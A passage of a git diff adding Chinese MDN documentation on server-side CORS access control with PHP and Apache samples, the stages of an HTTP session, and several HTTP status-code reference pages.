<dd>有关是否使用以“www”为前缀的域名的建议。这篇文章解释了相关的结果以及其如何实现。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME类型</a></dt> + <dd>MIME媒体类型定义了资源是什么类型的文档。这篇文章展示了其格式与常用的Web MIME类型。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME类型的完整列表</a></dt> + <dd>Web开发人员常用的MIME类型列表。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Separating_identity_and_location_of_a_resource">分离身份与位置信息:Alt-Svc头部</a></dt> + <dd>即便是使用了<a href="/zh-CN/docs/Glossary/URI">URI</a>来描述身份与位置信息,其仍然是不同的两个概念。有时明确的进行区分非常必要。这篇文章介绍了<a href="/zh-CN/docs/Web/HTTP/Headers/Alt-Svc">Alt-Svc</a>。</dd> +</dl> diff --git a/files/zh-cn/web/http/server-side_access_control/index.html b/files/zh-cn/web/http/server-side_access_control/index.html new file mode 100644 index 0000000000..aae914c093 --- /dev/null +++ b/files/zh-cn/web/http/server-side_access_control/index.html @@ -0,0 +1,248 @@ +--- +title: Server-Side Access Control +slug: Web/HTTP/Server-Side_Access_Control +tags: + - AJAX + - CORS + - HTTP + - PHP +translation_of: Web/HTTP/CORS +--- +<p>{{HTTPSidebar}}</p> + +<p>浏览器会针对从 {{domxref("XMLHttpRequest")}} 或<a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>中发起的跨网站请求发送特定的<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">HTTP标头</a>。它还希望看到使用跨站点响应发送回的特定HTTP标头。这些标头的概述,包括启动请求和处理来自服务器的响应的示例JavaScript代码, 以及每个头的讨论,可以在HTTP访问控制(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>)文章中找到,应该作为本文的配套文章阅读。</p> + +<p>HTTP访问控制文章是很好的使用指南。本文介绍利用PHP处理访问控制请求和制定访问控制响应。本文的目标读者是服务器程序员或管理员。虽然在PHP代码示例所示,类似的概念适用于ASP.net,Perl、Python、Java等;一般来说,这些概念可以应用于任何服务器端编程环境处理HTTP请求和动态制定的HTTP响应。</p> + +<h3 id="讨论HTTP标头"><strong>讨论HTTP标头</strong></h3> + +<p>了解HTTP 头部信息, 建议先阅读这篇文章 <a href="https://developer.mozilla.org/En/HTTP_access_control">covering the HTTP headers used by both clients (such as Firefox 3.5 and beyond) and servers</a></p> + +<div> </div> + +<h3 id="工作代码示例"><strong>工作代码示例</strong></h3> + +<p>随后的章节中PHP代码(和JavaScript调用服务器)可查看<a href="http://arunranga.com/examples/access-control/">相关代码</a>,这些代码在实现了XMLHttpRequest的浏览器上都可运行,像Firefox 3.5及以上。</p> + +<div> </div> + +<h3 id="简单的跨站请求"><strong>简单的跨站请求</strong></h3> + +<p><a class="internal" href="/En/HTTP_access_control#Simple_requests" title="En/HTTP access control#Simple requests">简单的访问控制请求</a> 在下列情况下会被发起:</p> + +<ul> + <li>请求方式为 HTTP/1.1 <code style="font-style: normal;">GET </code>或者<code style="font-style: normal;"> POST</code>,如果是<code style="font-style: normal;">POST</code>,则请求的Content-Type为以下之一: <code style="font-style: normal;">application/x-www-form-urlencoded</code>, <code style="font-style: normal;">multipart/form-data</code>, 或<code style="font-style: normal;">text/plain</code></li> + <li>在请求中,不会发送自定义的头部(如X-Modified)</li> +</ul> + +<p>以下情况,请求会返回相关响应信息</p> + +<ul> + <li>如果资源是允许公开访问的(就像任何允许GET访问的 HTTP资源),返回Access-Control-Allow-Origin:*头信息就足够了,除非是一些需要Cookies和HTTP身份验证信息的请求。</li> + <li> + <div class="tran-result">如果资源访问被限制基于相同的域名,或者如果要访问的资源需要凭证(或设置凭证),那么就有必要对请求头信息中的ORIGIN进行过滤,或者至少响应请求的来源(例如Access-Control-Allow-Origin:http://arunranga.com)。另外,将发送Access-Control-Allow-Credentials:TRUE头信息,这在后续部分将进行讨论。</div> + </li> +</ul> + +<p> <a class="internal" href="/En/HTTP_access_control#Simple_requests" title="En/HTTP access control#Simple requests">简单的访问控制请求</a> 介绍了在客户端和服务端进行信息交换的HEADER. 下面是一段用来处理简单请求的PHP代码。</p> + +<pre class="brush: php"><?php + +// 我们将只授予 arunranga.com 域的访问权限,因为我们认为它通过 application/xml 方式来访问这些资源是安全的。 + +if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") +{ + + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-type: application/xml'); + readfile('arunerDotNetResource.xml'); +} +else +{ +header('Content-Type: text/html'); +echo "<html>"; +echo "<head>"; +echo " <title>Another Resource</title>"; +echo "</head>"; +echo "<body>", + "<p>This resource behaves two-fold:"; +echo "<ul>", + "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>"; +echo " <li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,"; +echo "you get this HTML document</li>", + "</ul>", +"</body>", +"</html>"; +} +?> +</pre> + +<p>上面的代码通过检查浏览器发送的 <code>ORIGIN</code> 头部信息(通过<code> $_SERVER['HTTP_ORIGIN']</code> ) 是否匹配 '<a class="external" href="http://arunranga.com" rel="freelink" style="font-size: 14px; line-height: 1.5;">http://arunranga.com</a>' 得知,如果是,返回 Access-Control-Allow-Origin: <a class="external" href="http://arunranga.com" rel="freelink" style='font-size: 14px; line-height: 1.5; font-family: "Courier New","Andale Mono",monospace;'>http://arunranga.com</a> 。如果你的浏览器支持访问控制<span style="font-size: 14px; line-height: 1.5;">,你可以访问 <a class="external" href="http://arunranga.com/examples/access-control/" style="font-size: 14px; line-height: 1.5;" title="http://arunranga.com/examples/access-control/">这里 .</a></span></p> + +<h3 id="预请求"><strong>预请求</strong></h3> + +<p><a class="internal" href="/En/HTTP_access_control#Preflighted_requests" title="En/HTTP access control#Preflighted requests">预请求</a> 发生在下列情况中:</p> + +<ul> + <li>使用GET或POST以外的方法;利用POST发送<code style="font-style: normal;">application/x-www-form-urlencoded</code>, <code style="font-style: normal;">multipart/form-data</code>, or <code style="font-style: normal;">text/plain</code>之外的Content-Type;例如,post body的Content-type为<code style="font-style: normal;">application/xml</code></li> + <li>发送自定义的头信息,如x-pingaruner</li> +</ul> + +<p><a class="internal" href="/En/HTTP_access_control#Preflighted_requests" title="En/HTTP access control#Preflighted requests">预请求访问控制</a> 这篇文章介绍了在客户端和服务器间进行交换的<span style="font-size: 14px; line-height: 1.5;">头信息,响应preflight requests请求的服务器资源会有这些动作:</span></p> + +<ul> + <li> 基于 <code>ORIGIN </code>进行过滤</li> + <li> preflight请求的响应内容,包括必要的 <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> (保证系统正常运行),如果需要凭据的话,也会包括 <code>Access-Control-Allow-Credentials </code>头信息</li> + <li>响应实际请求,包括处理 POST数据等。</li> +</ul> + +<p>下面是相关的PHP内容, <a class="internal" href="/En/HTTP_access_control#Preflighted_requests" title="En/HTTP access control#Preflighted requests">preflighted request</a>:</p> + +<pre class="brush: php"><?php +if($_SERVER['REQUEST_METHOD'] == "GET") +{ + header('Content-Type: text/plain'); + echo "This HTTP resource is designed to handle POSTed XML input from arunranga.com and not be retrieved with GET"; + +} +elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") +{ + // 告诉客户端我们支持来自 arunranga.com 的请求并且预请求有效期将仅有20天 + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") + { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); + header('Access-Control-Allow-Headers: X-PINGARUNER'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + //exit(0); + } + else + { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + + } +} +elseif($_SERVER['REQUEST_METHOD'] == "POST") +{ + /* 通过首先获得XML传送过来的blob来处理POST请求,然后做一些处理, 最后将结果返回客户端 + */ + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") + { + $postData = file_get_contents('php://input'); + $document = simplexml_load_string($postData); + + // 对POST过来的数据进行一些处理 + + $ping = $_SERVER['HTTP_X_PINGARUNER']; + + + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-Type: text/plain'); + echo // 处理之后的一些响应 + } + else + die("POSTing Only Allowed from arunranga.com"); +} +else + die("No Other Methods Allowed"); + +?> +</pre> + +<p>可以看到,就像POST一样,针对OPTIONS preflight请求,同样返回对应的头信息。这样 以来,处理preflight就像处理普通的request请求一样,在针对OPTIONS请求的响应信息中,服务器通过客户端,实际的请求可以用POST的形式发送,同时可附加X-PINGARUNERP这样的头信息。如果浏览器支持的话,可访问<a class="external" href="http://arunranga.com/examples/access-control/" style="line-height: 1.5;" title="http://arunranga.com/examples/access-control/"> 这里</a></p> + +<h3 id="凭证请求"><strong>凭证请求</strong></h3> + +<p>带凭据的请求,将Cookies和HTTP认证信息一起发送出去的跨域请求,根据请求方式,可以是<span style="line-height: 1.5;"> </span><a class="internal" href="/En/HTTP_access_control#Simple_requests" style="line-height: 1.5;" title="En/HTTP access control#Simple requests">Simple</a><span style="line-height: 1.5;"> 或 </span><a class="internal" href="/En/HTTP_access_control#Preflighted_requests" style="line-height: 1.5;" title="En/HTTP access control#Preflighted requests">Preflighted</a><span style="line-height: 1.5;">,</span></p> + +<p>发送 <a class="internal" href="/En/HTTP_access_control#Simple%20requests" title="En/HTTP access control#Simple requests">简单请求</a> 时, Firefox 3.5 (或以上)会发送带Cookies信息的请求, (如果<code>withCredentials</code> 设以true). 如果服务器响应真的是可信任的, 客户端接受并进行输出。 在 <a class="internal" href="/En/HTTP_access_control#Preflighted%20requests" title="En/HTTP access control#Preflighted requests">预请求</a> 中,服务器可以<span style="line-height: 1.5;">针对</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">OPTIONS</code><span style="line-height: 1.5;"> 请求,返回</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">Access-Control-Allow-Credentials: true</code><span style="line-height: 1.5;"> 信息</span></p> + +<p>下面是处理请求的PHP内容:</p> + +<pre class="brush: php"><?php + +if($_SERVER['REQUEST_METHOD'] == "GET") +{ + + // First See if There Is a Cookie + //$pageAccess = $_COOKIE['pageAccess']; + if (!isset($_COOKIE["pageAccess"])) { + + setcookie("pageAccess", 1, time()+2592000); + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Cache-Control: no-cache'); + header('Pragma: no-cache'); + header('Access-Control-Allow-Credentials: true'); + header('Content-Type: text/plain'); + echo 'I do not know you or anyone like you so I am going to mark you with a Cookie :-)'; + + } + else + { + + $accesses = $_COOKIE['pageAccess']; + setcookie('pageAccess', ++$accesses, time()+2592000); + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Credentials: true'); + header('Cache-Control: no-cache'); + header('Pragma: no-cache'); + header('Content-Type: text/plain'); + echo 'Hello -- I know you or something a lot like you! You have been to ', $_SERVER['SERVER_NAME'], ' at least ', $accesses-1, ' time(s) before!'; + } + +} +elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") +{ + // Tell the Client this preflight holds good for only 20 days + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") + { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: GET, OPTIONS'); + header('Access-Control-Allow-Credentials: true'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + //exit(0); + } + else + { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + + } +} +else + die("This HTTP Resource can ONLY be accessed with GET or OPTIONS"); + + + +?> +</pre> + +<p>需要注意的是,在带凭据请求中, <code>Access-Control-Allow-Origin:</code> 头不能是通配符 "*",必须是一个有效的域名。 可参考这里 <a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">running here</a></p> + +<h3 id="Apache示例"><strong>Apache示例</strong></h3> + +<h4 id="限制对某些URI的访问"><strong>限制对某些URI的访问</strong></h4> + +<p>最有效的方法之一,利用Apache rewrite, 环境变量,还有headers使<code style="font-style: normal; line-height: 1.5;">Access-Control-Allow-*</code><span style="line-height: 1.5;"> 对某些特定的URI生效,比如,以无认证信息形式利用GET跨域请求api(.*).json。</span></p> + +<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True] +Header set Access-Control-Allow-Origin "*" env=CORS +Header set Access-Control-Allow-Methods "GET" env=CORS +Header set Access-Control-Allow-Credentials "false" env=CORS +</pre> + +<h3 id="参见"><strong>参见</strong></h3> + +<ul> + <li><a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">Examples of Access Control in Action</a></li> + <li><a class="internal" href="/En/HTTP_access_control" title="En/HTTP Access Control">HTTP Access Control covering the HTTP Headers</a></li> + <li><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></li> + <li><a class="external" href="http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox" title="http://www.webfonts.info/wiki/index.php?title=@font-face_support_in_Firefox">Web Fonts</a></li> +</ul> diff --git a/files/zh-cn/web/http/session/index.html b/files/zh-cn/web/http/session/index.html new file mode 100644 index 0000000000..984a6d99b9 --- /dev/null +++ b/files/zh-cn/web/http/session/index.html @@ -0,0 +1,160 @@ +--- +title: 典型的 HTTP 会话 +slug: Web/HTTP/Session +tags: + - HTTP +translation_of: Web/HTTP/Session +--- +<div>{{HTTPSidebar}}</div> + +<p>在像 HTTP 这样的Client-Server(客户端-服务器)协议中,会话分为三个阶段:</p> + +<ol> + <li>客户端建立一条 TCP 连接(如果传输层不是 TCP,也可以是其他适合的连接)。</li> + <li>客户端发送请求并等待应答。</li> + <li>服务器处理请求并送回应答,回应包括一个状态码和对应的数据。</li> +</ol> + +<p>从 HTTP/1.1 开始,连接在完成第三阶段后不再关闭,客户端可以再次发起新的请求。这意味着第二步和第三步可以连续进行数次。</p> + +<h2 id="建立连接">建立连接</h2> + +<p>在客户端-服务器协议中,连接是由客户端发起建立的。在HTTP中打开连接意味着在底层传输层启动连接,通常是 TCP。</p> + +<p>使用 TCP 时,HTTP 服务器的默认端口号是 80,另外还有 8000 和 8080 也很常用。页面的 URL 会包含域名和端口号,但当端口号为 80 时可以省略。前往 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">标识互联网上的内容</a> 获取更多内容。</p> + +<div class="note"><strong>注意:</strong> 客户端-服务器模型不允许服务器在没有显式请求时发送数据给客户端。为了解决这个问题,Web 开发者们使用了许多技术:例如,使用 {{domxref("XMLHTTPRequest")}} 或 {{domxref("Fetch")}} API 周期性地请求服务器,使用 HTML <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a>,或其他类似协议。</div> + +<h2 id="发送客户端请求">发送客户端请求</h2> + +<p>一旦连接建立,用户代理就可以发送请求 (用户代理通常是 Web 浏览器,但也可以是其他的(例如爬虫)。客户端请求由一系列文本指令组成,并使用 CRLF 分隔,它们被划分为三个块:</p> + +<ol> + <li>第一行包括请求方法及请求参数: + <ul> + <li>文档路径,不包括协议和域名的绝对路径 URL</li> + <li>使用的 HTTP 协议版本</li> + </ul> + </li> + <li>接下来的行每一行都表示一个 HTTP 首部,为服务器提供关于所需数据的信息(例如语言,或 MIME 类型),或是一些改变请求行为的数据(例如当数据已经被缓存,就不再应答)。这些 HTTP 首部组成以一个空行结束的一个块。</li> + <li>最后一块是可选数据块,包含更多数据,主要被 POST 方法所使用。</li> +</ol> + +<h3 id="请求示例">请求示例</h3> + +<p>访问 developer.mozilla.org 的根页面,即 <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>,并告诉服务器用户代理倾向于该页面使用法语展示:</p> + +<pre>GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr + +</pre> + +<p>注意最后的空行,它把首部与数据块分隔开。由于在 HTTP 首部中没有 <code>Content-Length</code>,数据块是空的,所以服务器可以在收到代表首部结束的空行后就开始处理请求。</p> + +<p>例如,发送表单的结果:</p> + +<pre>POST /contact_form.php HTTP/1.1 +Host: developer.mozilla.org +Content-Length: 64 +Content-Type: application/x-www-form-urlencoded + +name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue +</pre> + +<h3 id="请求方法">请求方法</h3> + +<p>HTTP 定义了一组 <a href="/zh-CN/docs/Web/HTTP/Methods">请求方法</a> 用来指定对目标资源的行为。它们一般是名词,但这些请求方法有时会被叫做 HTTP 动词。最常用的请求方法是 <code>GET</code> 和 <code>POST</code>:</p> + +<ul> + <li>{{HTTPMethod("GET")}} 方法请求指定的资源。<code>GET</code> 请求应该只被用于获取数据。</li> + <li>{{HTTPMethod("POST")}} 方法向服务器发送数据,因此会改变服务器状态。这个方法常在 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 表单</a> 中使用。</li> +</ul> + +<h2 id="服务器响应结构">服务器响应结构</h2> + +<p>当收到用户代理发送的请求后,Web 服务器就会处理它,并最终送回一个响应。与客户端请求很类似,服务器响应由一系列文本指令组成, 并使用 CRLF 分隔,它们被划分为三个不同的块:</p> + +<ol> + <li>第一行是 <em><code>状态行</code>,</em>包括使用的 HTTP 协议版本,状态码和一个状态描述(可读描述文本)。</li> + <li>接下来每一行都表示一个 HTTP 首部,为客户端提供关于所发送数据的一些信息(如类型,数据大小,使用的压缩算法,缓存指示)。与客户端请求的头部块类似,这些 HTTP 首部组成一个块,并以一个空行结束。</li> + <li>最后一块是数据块,包含了响应的数据 (如果有的话)。</li> +</ol> + +<h3 id="响应示例">响应示例</h3> + +<p>成功的网页响应:</p> + +<pre>HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... <em><strong>(这里是 29769 字节的网页HTML源代码)</strong></em> + +</pre> + +<p>请求资源已被永久移动的网页响应:</p> + +<pre>HTTP/1.1 301 Moved Permanently +Server: Apache/2.2.3 (Red Hat) +Content-Type: text/html; charset=iso-8859-1 +Date: Sat, 09 Oct 2010 14:30:24 GMT +Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(目标资源的新地址, 服务器期望用户代理去访问它</em><em>)</em></strong> +Keep-Alive: timeout=15, max=98 +Accept-Ranges: bytes +Via: Moz-Cache-zlb05 +Connection: Keep-Alive +X-Cache-Info: caching +X-Cache-Info: caching +Content-Length: 325 <em>(<strong>如果用户代理无法转到新地址,就显示一个默认页面)</strong></em> + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>">here</a>.</p> +<hr> +<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> +</body></html> + +</pre> + +<p>请求资源不存在的网页响应:</p> + +<pre>HTTP/1.1 404 Not Found +Date: Sat, 09 Oct 2010 14:33:02 GMT +Server: Apache +Last-Modified: Tue, 01 May 2007 14:24:39 GMT +ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" +Accept-Ranges: bytes +Content-Length: 10732 +Content-Type: text/html + +<!DOCTYPE html... <strong><em>(包含一个站点自定义404页面, 帮助用户找到丢失的资源)</em></strong> + +</pre> + +<h3 id="响应状态码">响应状态码</h3> + +<p><a href="/en-US/docs/Web/HTTP/Status">HTTP 响应状态码</a> 用来表示一个 HTTP 请求是否成功完成。响应被分为 5 种类型:信息型响应,成功响应,重定向,客户端错误和服务端错误。</p> + +<ul> + <li>{{HTTPStatus(200)}}: OK. 请求成功。</li> + <li>{{HTTPStatus(301)}}: Moved Permanently. 请求资源的 URI 已被改变。</li> + <li>{{HTTPStatus(404)}}: Not Found. 服务器无法找到请求的资源。</li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></li> + <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a></li> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> + <li><a href="/en-US/docs/Web/HTTP/Status">HTTP response status codes </a></li> +</ul> diff --git a/files/zh-cn/web/http/status/100/index.html b/files/zh-cn/web/http/status/100/index.html new file mode 100644 index 0000000000..6a4b793e48 --- /dev/null +++ b/files/zh-cn/web/http/status/100/index.html @@ -0,0 +1,46 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +tags: + - HTTP + - 信息型 + - 状态码 +translation_of: Web/HTTP/Status/100 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>100 Continue</code></strong> 信息型状态响应码表示目前为止一切正常, 客户端应该继续请求, 如果已完成请求则忽略.</p> + +<p>为了让服务器检查请求的首部, 客户端必须在发送请求实体前, 在初始化请求中发送 <code>Expect: 100-continue</code> 首部并接收 <code>100 Continue</code> 响应状态码.</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">100 Continue</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/status.json", "100 Continue")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> + <li>{{HTTPStatus(417)}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/101/index.html b/files/zh-cn/web/http/status/101/index.html new file mode 100644 index 0000000000..855ef3e587 --- /dev/null +++ b/files/zh-cn/web/http/status/101/index.html @@ -0,0 +1,50 @@ +--- +title: 101 Switching Protocol +slug: Web/HTTP/Status/101 +tags: + - HTTP + - HTTP 状态码 +translation_of: Web/HTTP/Status/101 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>101 Switching Protocol</strong></code>(协议切换)状态码表示服务器应客户端升级协议的请求({{HTTPHeader("Upgrade")}}请求头)正在切换协议。</p> + +<p>服务器会发送一个{{HTTPHeader("Upgrade")}}响应头来表明其正在切换过去的协议。<br> + 该过程在协议升级机制(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a>)中详细描述。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox notranslate">101 Switching Protocol</pre> + +<h2 id="示例">示例</h2> + +<p>在使用 <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> 时会用到协议切换。</p> + +<pre class="notranslate">HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade</pre> + +<h2 id="相关协议">相关协议</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li> + <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li> +</ul> diff --git a/files/zh-cn/web/http/status/103/index.html b/files/zh-cn/web/http/status/103/index.html new file mode 100644 index 0000000000..fdcc30bd67 --- /dev/null +++ b/files/zh-cn/web/http/status/103/index.html @@ -0,0 +1,43 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +translation_of: Web/HTTP/Status/103 +--- +<p>{{HTTPSidebar}} {{Draft}}</p> + +<p><strong><code>103 Early Hints</code></strong> 信息状态响应码,一般和 {{HTTPHeader("Link")}} header(首部)一起使用,来允许用户在服务器还在准备响应数据的时候预加载一些资源。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">103 Early Hints</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8297, "103 Early Hints")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">本页的兼容性表格由结构化数据自动生成,如果你希望贡献数据,请移步<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>提交一个 Pull Request。</div> + +<p>{{Compat("http.status.103")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li>{{HTTPHeader("Link")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/200/index.html b/files/zh-cn/web/http/status/200/index.html new file mode 100644 index 0000000000..7567daa62e --- /dev/null +++ b/files/zh-cn/web/http/status/200/index.html @@ -0,0 +1,54 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - HTTP + - 成功 + - 状态码 +translation_of: Web/HTTP/Status/200 +--- +<div>{{HTTPSidebar}}</div> + +<p>状态码 <strong><code>200 OK</code></strong> 表明请求已经成功. 默认情况下状态码为200的响应可以被缓存。</p> + +<p>不同请求方式对于请求成功的意义如下:</p> + +<ul> + <li>{{HTTPMethod("GET")}}: 已经取得资源,并将资源添加到响应的消息体中。</li> + <li>{{HTTPMethod("HEAD")}}: 响应的消息体为头部信息。</li> + <li>{{HTTPMethod("POST")}}: 响应的消息体中包含此次请求的结果。</li> + <li>{{HTTPMethod("TRACE")}}: 响应的消息体中包含服务器接收到的请求信息。</li> +</ul> + +<p>{{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}} 的请求成功通常并不是响应<code>200</code> <code>OK</code>的状态码而是 {{HTTPStatus("204")}} <code>No Content</code> 表示无内容(或者 {{HTTPStatus("201")}} <code>Created</code>表示一个资源首次被创建成功)。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">200 OK</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">此页中的兼容性表格是从结构化数据生成的。如果您想为数据作出贡献,请移步<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 发起pull request。</p> + +<p>{{Compat("http.status.200")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/HTTP/Methods">HTTP 请求方法</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/201/index.html b/files/zh-cn/web/http/status/201/index.html new file mode 100644 index 0000000000..4a4df14b3e --- /dev/null +++ b/files/zh-cn/web/http/status/201/index.html @@ -0,0 +1,41 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +translation_of: Web/HTTP/Status/201 +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,<strong><code>201 Created</code></strong> 是一个代表成功的应答状态码,表示请求已经被成功处理,并且创建了新的资源。新的资源在应答返回之前已经被创建。同时新增的资源会在应答消息体中返回,其地址或者是原始请求的路径,或者是 {{HTTPHeader("Location")}} 首部的值。</p> + +<p>这个状态码的常规使用场景是作为 {{HTTPMethod("POST")}} 请求的返回值。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">201 Created</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.201")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/202/index.html b/files/zh-cn/web/http/status/202/index.html new file mode 100644 index 0000000000..127886eeb5 --- /dev/null +++ b/files/zh-cn/web/http/status/202/index.html @@ -0,0 +1,36 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +tags: + - 响应成功 + - 状态码 +translation_of: Web/HTTP/Status/202 +--- +<div>{{HTTPSidebar}}</div> + 